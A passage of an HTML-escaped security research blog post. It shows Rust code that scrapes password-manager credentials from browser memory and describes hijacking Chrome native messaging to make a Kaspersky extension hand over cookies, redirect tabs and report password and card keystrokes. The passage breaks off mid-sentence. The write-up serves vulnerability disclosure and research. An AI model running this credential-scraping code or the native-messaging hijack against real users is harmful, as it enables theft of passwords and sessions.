&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; re = Regex::new(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span&gt;#&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(&amp;quot;title&amp;quot;:.*?,&amp;quot;format&amp;quot;:&amp;quot;url&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;field\.website\.url&amp;quot;,&amp;quot;label&amp;quot;:&amp;quot;Login URL&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;([^&amp;quot;]+?)&amp;quot;.*&amp;quot;key&amp;quot;:&amp;quot;field\.login\.username&amp;quot;,&amp;quot;label&amp;quot;:&amp;quot;Username&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;([^&amp;quot;]+?)&amp;quot;.*&amp;quot;key&amp;quot;:&amp;quot;field\.login\.password&amp;quot;,&amp;quot;secret&amp;quot;:true,&amp;quot;label&amp;quot;:&amp;quot;Password&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;([^&amp;quot;]+?)&amp;quot;.??}]}]})&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;#).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; cap in re.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;captures_iter&lt;&#x2F;span&gt;&lt;span&gt;(text) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(group1) = cap.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; matched_str = group1.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;as_str&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;to_string&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(cut_index) = matched_str.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;}  &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) {
&lt;&#x2F;span&gt;&lt;span&gt;                matched_str = matched_str[..cut_index + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;trim_end&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;to_string&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                matched_str = matched_str.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;trim_end&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;to_string&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; The most scuffed way to fix my json
&lt;&#x2F;span&gt;&lt;span&gt;            matched_str = format!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;{{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;amp;matched_str);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;!strings_list.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;contains&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;matched_str) &amp;amp;&amp;amp; matched_str.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;20 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; result: Result&amp;lt;Data, _&amp;gt; = serde_json::from_str(&amp;amp;matched_str);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; result {
&lt;&#x2F;span&gt;&lt;span&gt;                    Ok(credential) =&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;                        println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] Found Credential:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; url = None;
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; user = None;
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; password = None;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; section in &amp;amp;credential.sections {
&lt;&#x2F;span&gt;&lt;span&gt;                            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; field in &amp;amp;section.fields {
&lt;&#x2F;span&gt;&lt;span&gt;                                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; field.key.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;as_str&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;                                    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;field.website.url&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; =&amp;gt; url = Some(field.value.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span&gt;()),
&lt;&#x2F;span&gt;&lt;span&gt;                                    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;field.login.username&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; =&amp;gt; user = Some(field.value.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span&gt;()),
&lt;&#x2F;span&gt;&lt;span&gt;                                    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;field.login.password&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; =&amp;gt; password = Some(field.value.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span&gt;()),
&lt;&#x2F;span&gt;&lt;span&gt;                                    _ =&amp;gt; {}
&lt;&#x2F;span&gt;&lt;span&gt;                                }
&lt;&#x2F;span&gt;&lt;span&gt;                            }
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                        println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] Title: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, credential.title);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(u) = url {
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] URL: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, u);
&lt;&#x2F;span&gt;&lt;span&gt;                        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] URL: not found&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(u) = user {
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] User: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, u);
&lt;&#x2F;span&gt;&lt;span&gt;                        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] User: not found&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if let &lt;&#x2F;span&gt;&lt;span&gt;Some(p) = password {
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] Password: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, p);
&lt;&#x2F;span&gt;&lt;span&gt;                        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&amp;gt;] Password: not found&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                    }
&lt;&#x2F;span&gt;&lt;span&gt;                    Err(_e) =&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; verbose {
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] Found Credential:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;                            println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[!] Failed to parse JSON: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, matched_str);
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                    }
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                strings_list.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(matched_str);
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;SNIP&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;poc&quot;&gt;POC&lt;&#x2F;h3&gt;
&lt;p&gt;For the demo, we used the &lt;a href=&quot;https:&#x2F;&#x2F;www.okta.com&#x2F;products&#x2F;okta-personal&#x2F;&quot;&gt;Okta Personal Password Manager&lt;&#x2F;a&gt; extension, but other password managers were also tested and found to be vulnerable to this attack.&lt;&#x2F;p&gt;
&lt;p&gt;The attack can be seen in the video below. A small tool was created to automate the process, you can find it &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Future-Sight-Group&#x2F;oktavius&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;video preload=&quot;none&quot; src=&quot;media&amp;#x2F;ok_demo.mp4&quot; controls&gt;&lt;&#x2F;video&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;&#x2F;strong&gt; This attack vector is not really new, it has been known &lt;a href=&quot;https:&#x2F;&#x2F;nvd.nist.gov&#x2F;vuln&#x2F;detail&#x2F;CVE-2023-36266&quot;&gt;for a while&lt;&#x2F;a&gt;, but the TTP is still valid and will likely remain so. Most of the time it&#x27;s a &lt;a href=&quot;https:&#x2F;&#x2F;docs.keeper.io&#x2F;en&#x2F;release-notes&#x2F;keeper-security&#x2F;security-advisories&#x2F;cve-2023-36266&quot;&gt;Won&#x27;t Fix&lt;&#x2F;a&gt; because it&#x27;s simply how browsers work: if the garbage collector decides to be a lil slow, the credentials may stick around in memory longer than expected. Also worth noting: this attack vector is not limited to extensions. It can also work on the &quot;native&quot; apps, since most of them are just Chromium wrappers under the hood.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;the-ugly-new-attack-vector&quot;&gt;The ugly new attack vector&lt;&#x2F;h2&gt;
&lt;p&gt;After abusing the password manager extension, we thought: &lt;strong&gt;what other extensions can we abuse?&lt;&#x2F;strong&gt; And that is how we went down the rabbit hole of &lt;a href=&quot;https:&#x2F;&#x2F;github.blog&#x2F;security&#x2F;vulnerability-research&#x2F;attacking-browser-extensions&#x2F;&quot;&gt;extensions security&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-curious-case-of-microslop-s-single-sign-on-extension&quot;&gt;The curious case of Microslop&#x27;s Single Sign On extension&lt;&#x2F;h3&gt;
&lt;p&gt;After some probing around the state of the art, we came across the curious case of Microslop&#x27;s &lt;a href=&quot;https:&#x2F;&#x2F;chromewebstore.google.com&#x2F;detail&#x2F;microsoft-single-sign-on&#x2F;ppnbnpeolgkicgegkbkbjmhlideopiji?hl=en&quot;&gt;Single Sign On&lt;&#x2F;a&gt; extension, used in enterprise environments to allow users to seamlessly log in to their work accounts. This is an interesting case because it was &lt;a href=&quot;https:&#x2F;&#x2F;dirkjanm.io&#x2F;abusing-azure-ad-sso-with-the-primary-refresh-token&#x2F;&quot;&gt;historically abused&lt;&#x2F;a&gt; to steal the PRT cookie and access the user&#x27;s session.&lt;&#x2F;p&gt;
&lt;p&gt;This was done by interacting with the extension&#x27;s backend running on the host, which usually would be called by the extension. Wait, &quot;how can an extension have a backend on the host?&quot; you may ask. Well dear reader, Chrome extensions can talk to native applications through a feature called &lt;a href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;apps&#x2F;nativeMessaging&#x2F;&quot;&gt;Native Messaging&lt;&#x2F;a&gt;. This allows extensions to exchange messages with native applications installed on the user&#x27;s machine so that they can perform actions that aren&#x27;t possible within the browser&#x27;s sandbox, or the host can get context from within the browser.&lt;&#x2F;p&gt;
&lt;p&gt;I can hear your gears grinding from here, and yes, you are right, this can be abused to retrieve all sorts of data from the browser: cookies, sessions, and even credentials. Just hijack the native messaging registry entry and make the extension talk to your malicious backend instead of the legitimate one. The attack chain would then only depend on the extension&#x27;s features and the native application&#x27;s capabilities, but surely no extension would have that many permissions and features, right? Right?&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-funny-case-of-the-kaspersky-protection-extension&quot;&gt;The funny case of the Kaspersky Protection extension&lt;&#x2F;h3&gt;
&lt;p&gt;Security-related extensions are always a fun target for research, this is due to them usually having a lot of permissions and features that can be abused, and if they stop working, the user would rarely notice. So we looked through all of the store&#x27;s extension manifests, sifted through the ones with the most permissions and features, and that is how we found our new best friend &lt;a href=&quot;https:&#x2F;&#x2F;chromewebstore.google.com&#x2F;detail&#x2F;kaspersky-protection&#x2F;ahkjpbeeocnddjkakilopmfdlnjdpcdm&quot;&gt;Kaspersky Protection extension&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;new_friend.png&quot; alt=&quot;New Friend&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;This extension is supposed to protect users from malicious websites and phishing attempts. But when you look at its manifest, it&#x27;s a treasure trove of permissions. Just take a look:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;permissions&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: [
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;contextMenus&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;declarativeNetRequest&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;management&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;storage&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;webRequest&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;alarms&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nativeMessaging&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;scripting&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;tabs&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;webNavigation&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;],
&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;host_permissions&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;all_urls&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That&#x27;s &lt;code&gt;cookies&lt;&#x2F;code&gt; + &lt;code&gt;&amp;lt;all_urls&amp;gt;&lt;&#x2F;code&gt; (read&#x2F;write all cookies for any site), &lt;code&gt;scripting&lt;&#x2F;code&gt; + &lt;code&gt;&amp;lt;all_urls&amp;gt;&lt;&#x2F;code&gt; (inject JS into any page), &lt;code&gt;webNavigation&lt;&#x2F;code&gt; (full URL history of every tab), and of course &lt;code&gt;nativeMessaging&lt;&#x2F;code&gt;. Basically, a &lt;strong&gt;fully privileged browser agent&lt;&#x2F;strong&gt; subordinate to a single native binary.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;what-the-extension-exposes&quot;&gt;What the extension exposes&lt;&#x2F;h4&gt;
&lt;p&gt;When interacting with an extension through &lt;code&gt;nativeMessaging&lt;&#x2F;code&gt; you dont always get access to all its features, it depends on how the extension is designed. Some extensions may only expose a limited set of commands or data to the native host, while others may have a more extensive API.&lt;&#x2F;p&gt;
&lt;p&gt;By reverse-engineering the extension source (aka we unziped it and looked at it, not all extensions obfuscate a stub and call &lt;code&gt;wasm&lt;&#x2F;code&gt;... &lt;em&gt;cough cough&lt;&#x2F;em&gt; McAfee &lt;em&gt;cough&lt;&#x2F;em&gt;), we found the messaging architecture works as follows: content scripts talk to the native host through the usual channel and the host can send commands back through this same channel to control the extension.&lt;&#x2F;p&gt;
&lt;p&gt;One interesting command is from the &lt;code&gt;cm.getCookie&lt;&#x2F;code&gt; handler in &lt;code&gt;browser_cookie.js&lt;&#x2F;code&gt; that when the host calls &lt;code&gt;cookies.getAll({ url })&lt;&#x2F;code&gt; the extension sends back &lt;strong&gt;every cookie for the requested URL&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;registerPluginCommand&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cm.getCookie&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;chrome&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;getAll&lt;&#x2F;span&gt;&lt;span&gt;({ url: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;url &lt;&#x2F;span&gt;&lt;span&gt;}, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Sends ALL cookies (including Secure + HttpOnly) back to the native host
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;sendToHost&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cm.getCallback&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, {
&lt;&#x2F;span&gt;&lt;span&gt;            callId: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;callId&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            cookies: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            isSucceeded: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;        });
&lt;&#x2F;span&gt;&lt;span&gt;    });
&lt;&#x2F;span&gt;&lt;span&gt;});
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But it gets better. There&#x27;s also a &lt;code&gt;cm.setCookie&lt;&#x2F;code&gt; command, meaning the host can &lt;strong&gt;write arbitrary cookies&lt;&#x2F;strong&gt; for any URL. Session fixation, anyone?&lt;&#x2F;p&gt;
&lt;p&gt;On top of that, &lt;code&gt;web_navigation.js&lt;&#x2F;code&gt; streams every single URL the user visits in real time through &lt;code&gt;wn.onCommitted&lt;&#x2F;code&gt;, &lt;code&gt;wn.onBeforeNavigate&lt;&#x2F;code&gt;, and &lt;code&gt;wn.onBeforeRedirect&lt;&#x2F;code&gt; events. And the cherry on top: &lt;code&gt;web_session_monitor.js&lt;&#x2F;code&gt; exposes a &lt;code&gt;wsm.forceRedirect&lt;&#x2F;code&gt; command that lets the host &lt;strong&gt;redirect any tab to an arbitrary URL&lt;&#x2F;strong&gt; by simply setting &lt;code&gt;document.location.href&lt;&#x2F;code&gt;. Oh, and &lt;code&gt;visited_sites.js&lt;&#x2F;code&gt; watches for &lt;code&gt;keydown&lt;&#x2F;code&gt; events on password fields, address fields, and payment card fields, firing events like &lt;code&gt;vs.onPasswordEntered&lt;&#x2F;code&gt; and &lt;code&gt;vs.onCardEntered&lt;&#x2F;code&gt; to the host, although it doesn&#x27;t seem 